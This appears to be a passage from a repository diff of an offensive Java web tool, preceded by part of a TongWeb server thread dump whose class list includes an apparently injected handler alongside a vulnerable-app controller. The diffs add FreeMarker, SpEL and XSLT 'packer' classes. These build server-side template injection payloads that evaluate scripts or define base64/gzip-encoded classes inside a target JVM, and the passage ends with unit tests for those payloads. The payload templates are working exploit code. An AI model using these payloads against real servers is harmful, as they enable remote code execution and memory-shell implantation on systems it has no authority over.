||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"TongTech-License-Executor" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-10" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-2" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-6" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-1" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-Poller" #35 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:735)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-8080-exec-8" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Notification Thread" #12 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"TongTech-License-Executor" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"DestroyJavaVM" #37 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"http-nio-8080-exec-4" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
|
||||
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
|
||||
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5a64c566
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
|
||||
|
||||
"TongWeb-utility-1" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"container-0" #24 [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at com.tongweb.container.core.StandardServer.await(StandardServer.java:548)
|
||||
at com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1.run(TongWebWebServer.java:147)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController
|
||||
com.tongweb.connector.AbstractProcessorLight
|
||||
com.tongweb.connector.AbstractProtocol$ConnectionHandler
|
||||
com.tongweb.connector.http11.Http11Processor
|
||||
com.tongweb.container.authenticator.AuthenticatorBase
|
||||
com.tongweb.container.connector.CoyoteAdapter
|
||||
com.tongweb.container.core.ApplicationFilterChain
|
||||
com.tongweb.container.core.StandardContextValve
|
||||
com.tongweb.container.core.StandardEngineValve
|
||||
com.tongweb.container.core.StandardHostValve
|
||||
com.tongweb.container.core.StandardServer
|
||||
com.tongweb.container.core.StandardWrapperValve
|
||||
com.tongweb.container.valves.ErrorReportValve
|
||||
com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1
|
||||
com.tongweb.web.util.net.Acceptor
|
||||
com.tongweb.web.util.net.NioEndpoint
|
||||
com.tongweb.web.util.net.NioEndpoint$Poller
|
||||
com.tongweb.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.tongweb.web.util.net.SocketProcessorBase
|
||||
com.tongweb.web.util.threads.TaskQueue
|
||||
com.tongweb.web.util.threads.TaskThread$WrappingRunnable
|
||||
com.tongweb.web.util.threads.ThreadPoolExecutor
|
||||
com.tongweb.web.util.threads.ThreadPoolExecutor$Worker
|
||||
jakarta.servlet.http.HttpServlet
|
||||
org.springframework.mcnFX.ErrorHladkHandler
|
||||
org.springframework.web.filter.CharacterEncodingFilter
|
||||
org.springframework.web.filter.FormContentFilter
|
||||
org.springframework.web.filter.OncePerRequestFilter
|
||||
org.springframework.web.filter.RequestContextFilter
|
||||
org.springframework.web.method.support.InvocableHandlerMethod
|
||||
org.springframework.web.servlet.DispatcherServlet
|
||||
org.springframework.web.servlet.FrameworkServlet
|
||||
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
|
||||
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
|
||||
import com.reajason.javaweb.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer;
|
||||
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||
@@ -50,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xslt.XSLTPacker;
|
||||
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||
@@ -142,12 +147,21 @@ public enum Packers {
|
||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
|
||||
FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class),
|
||||
FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
XMLDecoder(new XMLDecoderPacker()),
|
||||
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
|
||||
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
|
||||
|
||||
/**
|
||||
* XSLT 打包器
|
||||
*/
|
||||
XSLT(new XSLTPacker()),
|
||||
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
|
||||
@@ -1,19 +1,10 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class FreemarkerPacker implements Packer {
|
||||
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
public class FreemarkerPacker implements AggregatePacker {
|
||||
}
|
||||
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class FreemarkerScriptEnginePacker implements Packer {
|
||||
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
|
||||
|
||||
/**
|
||||
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class FreemarkerSpELSpringGzipJDK17Packer implements Packer {
|
||||
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String className = config.getClassName();
|
||||
assertClassNameValid(className);
|
||||
return template.replace("{{className}}", className)
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
|
||||
* compressed class-definition expression.
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class FreemarkerSpELSpringGzipPacker implements Packer {
|
||||
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class XSLTPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
|
||||
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
|
||||
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
|
||||
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
|
||||
*
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
public class XSLTScriptEnginePacker implements Packer {
|
||||
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
|
||||
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
|
||||
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
|
||||
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
|
||||
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
|
||||
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
|
||||
"<xsl:template match=\"/\">" +
|
||||
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
|
||||
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
|
||||
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
|
||||
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
|
||||
"<xsl:value-of select=\"$jse\"/>" +
|
||||
"</xsl:template>" +
|
||||
"</xsl:stylesheet>";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{base64Str}}",
|
||||
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class FreemarkerSpELSpringGzipPackerTest {
|
||||
|
||||
private static ClassPackerConfig config(String className) {
|
||||
ClassPackerConfig config = new ClassPackerConfig();
|
||||
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
|
||||
config.setClassName(className);
|
||||
config.setClassBytes(classBytes);
|
||||
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
|
||||
return config;
|
||||
}
|
||||
|
||||
@Test
|
||||
void pack() {
|
||||
String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test"));
|
||||
|
||||
assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
|
||||
assertTrue(payload.contains("SpelExpressionParser"));
|
||||
assertTrue(payload.contains("Base64Utils"));
|
||||
assertTrue(payload.contains("GZIPInputStream"));
|
||||
assertTrue(payload.contains("com.example.Test"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void packJdk17() {
|
||||
FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer();
|
||||
|
||||
assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
|
||||
assertThrows(UnsupportedOperationException.class,
|
||||
() -> packer.pack(config("com.example.Test")));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.packer.xslt;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class XSLTPackerTest {
|
||||
|
||||
private static ClassPackerConfig config(String className) {
|
||||
